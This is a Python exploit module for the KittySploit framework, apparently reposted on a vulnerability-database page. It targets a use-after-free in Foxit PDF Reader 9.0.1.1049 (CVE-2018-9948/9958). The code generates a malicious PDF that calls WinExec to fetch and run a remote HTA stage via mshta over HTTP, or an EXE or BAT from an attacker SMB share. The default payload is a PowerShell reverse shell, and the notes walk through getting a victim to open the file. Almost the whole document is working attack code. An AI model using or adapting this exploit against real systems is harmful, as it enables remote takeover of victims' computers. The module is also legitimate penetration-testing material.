Foxit PDF Reader Pointer Overwrite UAF
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
from pathlib import Path
from typing import List
from kittysploit import *
from core.framework.failure import fail
from core.output_handler import print_status
from lib.pdf.http_delivery import advertise_url, start_static_http_server
from lib.pdf.mixins import PdfFileformatExploitMixin
from lib.pdf.rce import (
build_foxit_uaf_mshta_arg,
build_foxit_uaf_share_path,
build_foxit_uaf_winexec_arg,
build_hta_run_command,
create_foxit_reader_uaf_pdf,
payload_to_command_string,
)
class Module(Exploit, PdfFileformatExploitMixin):
__info__ = {
"name": "Foxit PDF Reader Pointer Overwrite UAF",
"description": (
"Foxit PDF Reader v9.0.1.1049 Use-After-Free (CVE-2018-9948 / CVE-2018-9958). "
"Select a Windows payload; the PDF ROP calls WinExec on a short command. "
"delivery=http serves an HTA stage over HTTP (mshta http://LHOST/h) and can "
"also serve the PDF. delivery=smb embeds a UNC path to an EXE/BAT you host. "
"disablePayloadHandler=true (default) generates/serves without starting the "
"reverse listener — set false to listen after generation. "
"Target: Foxit Reader 9.0.1.1049 on Windows 10 x64 Build 17134."
),
"author": [
"mr_me",
"bit from meepwn",
"saelo",
"Jacob Robles",
"KittySploit Team",
],
"cve": ["CVE-2018-9948", "CVE-2018-9958"],
"references": [
"https://srcincite.io/blog/2018/06/22/foxes-among-us-foxit-reader-vulnerability-discovery-and-exploitation.html",
"https://srcincite.io/pocs/cve-2018-99{48,58}.pdf.txt",
"https://www.zerodayinitiative.com/advisories/ZDI-18-332/",
"https://www.zerodayinitiative.com/advisories/ZDI-18-342/",
"https://nvd.nist.gov/vuln/detail/CVE-2018-9948",
"https://nvd.nist.gov/vuln/detail/CVE-2018-9958",
],
"tags": [
"pdf",
"foxit",
"fileformat",
"uaf",
"rce",
"windows",
"http",
"cve-2018-9948",
"cve-2018-9958",
"authorized-only",
],
"platform": Platform.WINDOWS,
"arch": [Arch.X64, Arch.OTHER],
"payload": {
"default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
"arch": [Arch.X64, Arch.OTHER],
"platform": Platform.WINDOWS,
"category": PayloadCategory.SINGLE,
},
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 0,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths"],
"cost": 1.0,
"noise": 0.5,
"value": 1.0,
"requires": {
"min_endpoints": 0,
"min_params": 0,
"tech_hints_any": [],
"tech_hints_all": [],
"specializations_any": [],
"risk_signals_any": [],
"auth_session": False,
"capabilities_any": [],
"capabilities_all": [],
"confidence_min": {},
"confidence_min_any": {},
"endpoint_pattern_any": [],
"param_any": [],
"api_surface_ready": False,
},
"chain": {
"produces_capabilities": [{"capability": "rce", "from_detail": ""}],
"consumes_capabilities": [],
"option_bindings": {},
"suggested_followups": [],
},
},
}
MODULE_TITLE = "Foxit Reader UAF (CVE-2018-9948/9958)"
OUTPUT_BASENAME = "foxit_reader_uaf.pdf"
HTA_SLUG = "h"
delivery = OptChoice(
"http",
"Payload delivery: http (mshta stage), smb (UNC EXE/BAT), manual (custom WinExec)",
required=True,
choices=["http", "smb", "manual"],
)
share = OptString(
"",
"SMB share name (delivery=smb; random 1-letter if empty)",
required=False,
)
exename = OptString(
"",
"Remote EXE/BAT name on the share (delivery=smb)",
required=False,
)
winexec_cmd = OptString(
"",
"Custom WinExec cmdline (delivery=manual; max 44 bytes)",
required=False,
)
serve_pdf = OptBool(
True,
"Also serve the generated PDF over HTTP (delivery=http)",
required=False,
)
filename = OptString(
"foxit_reader_uaf.pdf",
"Output PDF filename",
required=False,
)
disablePayloadHandler = OptBool(
True,
"If true, do not start the reverse/bind listener (PDF/HTTP only). "
"Set false to listen after generation.",
required=True,
advanced=False,
)
def check(self):
return {
"vulnerable": True,
"reason": (
"File-format exploit for Foxit Reader 9.0.1.1049 — generate PDF, "
"deliver via HTTP or SMB, then open on target"
),
"confidence": "medium",
}
def _output_path(self) -> Path:
name = str(self.filename or self.OUTPUT_BASENAME).strip() or self.OUTPUT_BASENAME
if not name.lower().endswith(".pdf"):
name = f"{name}.pdf"
return self._output_dir() / name
def _payload_command(self) -> str:
return payload_to_command_string(self.payload)
def _advertise_host(self) -> str:
host = self._http_advertise_host()
if not host or host == "127.0.0.1":
explicit = str(self.lhost or "").strip()
if not explicit:
raise ValueError("Set LHOST (reachable by the target) for delivery")
return host
@staticmethod
def _has_windows_payload_ext(fname: str) -> bool:
return bool(re.search(r"\.(exe|bat|cmd|hta)$", fname, re.I))
def _start_http_stage(self, *, hta_body: str, pdf_path: Path) -> str:
host = self._advertise_host()
port = int(getattr(self, "srvport", 8888) or 8888)
bind = str(getattr(self, "srvhost", "") or "0.0.0.0").strip() or "0.0.0.0"
winexec = build_foxit_uaf_mshta_arg(host, port, self.HTA_SLUG)
routes = {
f"/{self.HTA_SLUG}": (hta_body.encode("utf-8"), "application/hta"),
f"/{self.HTA_SLUG}.hta": (hta_body.encode("utf-8"), "application/hta"),
}
if self.serve_pdf and pdf_path.exists():
pdf_bytes = pdf_path.read_bytes()
routes[f"/{pdf_path.name}"] = (pdf_bytes, "application/pdf")
routes["/"] = (pdf_bytes, "application/pdf")
routes["/p.pdf"] = (pdf_bytes, "application/pdf")
start_static_http_server(routes, host=bind, port=port)
print_success(f" HTTP stage: {advertise_url(host, port, self.HTA_SLUG)}")
if self.serve_pdf:
print_success(f" PDF URL: {advertise_url(host, port, pdf_path.name)}")
print_status("HTTP delivery server running in background")
return winexec
def _generate_http(self, output_path: Path):
cmd = self._payload_command()
hta = build_hta_run_command(cmd)
hta_path = self._output_dir() / f"{self.HTA_SLUG}.hta"
hta_path.write_text(hta, encoding="utf-8")
winexec = build_foxit_uaf_mshta_arg(
self._advertise_host(),
int(getattr(self, "srvport", 8888) or 8888),
self.HTA_SLUG,
)
create_foxit_reader_uaf_pdf(output_path, winexec)
winexec = self._start_http_stage(hta_body=hta, pdf_path=output_path)
create_foxit_reader_uaf_pdf(output_path, winexec)
notes = [
"DELIVERY=http (mshta HTA stage)",
f"WINEXEC={winexec!r}",
"1. Victim opens the PDF (HTTP PDF URL or other channel).",
"2. Exploit runs mshta → HTA → PAYLOAD.",
"3. If disablePayloadHandler=true, start the reverse listener before open.",
]
return winexec, [output_path, hta_path], notes
def _generate_smb(self, output_path: Path):
raw = self.payload
out_dir = self._output_dir()
host = self._advertise_host()
share = str(self.share or "")
fname = str(self.exename or "").strip()
artifacts: List[Path] = []
extra: List[str] = []
if isinstance(raw, bytes) and raw.startswith(b"MZ"):
if not fname:
fname = "a.exe"
elif not fname.lower().endswith(".exe"):
fname = f"{fname}.exe"
exe_path = out_dir / Path(fname).name
exe_path.write_bytes(raw)
artifacts.append(exe_path)
extra.append(f"PAYLOAD_EXE={exe_path.name}")
else:
cmd = self._payload_command()
if not fname:
fname = "a.bat"
elif not self._has_windows_payload_ext(fname):
fname = f"{fname}.bat"
bat_path = out_dir / Path(fname).name
bat_path.write_text(f"@echo off\r\n{cmd}\r\n", encoding="utf-8")
artifacts.append(bat_path)
extra.append(f"PAYLOAD_BAT={bat_path.name}")
winexec = build_foxit_uaf_share_path(host, share, fname)
create_foxit_reader_uaf_pdf(output_path, winexec)
notes = [
"DELIVERY=smb (UNC WinExec)",
f"WINEXEC={winexec!r}",
"1. Host the generated EXE/BAT on the matching SMB share.",
"2. Open the PDF in Foxit Reader 9.0.1.1049.",
"3. If disablePayloadHandler=true, start the reverse listener before open.",
*extra,
]
return winexec, [output_path, *artifacts], notes
def _generate_manual(self, output_path: Path):
custom = str(self.winexec_cmd or "").strip()
if not custom:
raise ValueError("delivery=manual requires WINEXEC_CMD")
winexec = build_foxit_uaf_winexec_arg(custom)
create_foxit_reader_uaf_pdf(output_path, winexec)
artifacts: List[Path] = [output_path]
try:
cmd = self._payload_command()
stage = self._output_dir() / "payload_cmd.txt"
stage.write_text(cmd + "\n", encoding="utf-8")
artifacts.append(stage)
except ValueError:
pass
notes = ["DELIVERY=manual", f"WINEXEC={winexec!r}"]
return winexec, artifacts, notes
def _generate(self, output_path: Path) -> List[Path]:
mode = str(self.delivery or "http").strip().lower()
try:
if mode == "http":
winexec, artifacts, notes_extra = self._generate_http(output_path)
elif mode == "smb":
winexec, artifacts, notes_extra = self._generate_smb(output_path)
elif mode == "manual":
winexec, artifacts, notes_extra = self._generate_manual(output_path)
else:
raise ValueError(f"Unknown delivery mode: {mode}")
except ValueError as exc:
fail.Message(str(exc))
raise
print_info(f" WinExec: {winexec!r}")
notes = self._output_dir() / "DELIVERY_NOTES.txt"
notes.write_text(
"\n".join(
[
f"# {self.MODULE_TITLE}",
"# Authorized penetration testing only.",
"",
f"PDF={output_path.name}",
*notes_extra,
"",
]
),
encoding="utf-8",
)
return [*artifacts, notes]
def run(self):
try:
return self.run_pdf_fileformat(
self._generate,
delivery_hint=(
"Open the PDF in Foxit Reader 9.0.1.1049 once the stage is reachable "
"(HTTP HTA or SMB UNC). set disablePayloadHandler false to listen now."
),
)
except ValueError:
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2026 12:42Current
7.2High risk
Vulners AI Score7.2
CVSS 26.8
CVSS 38.8
EPSS0.63072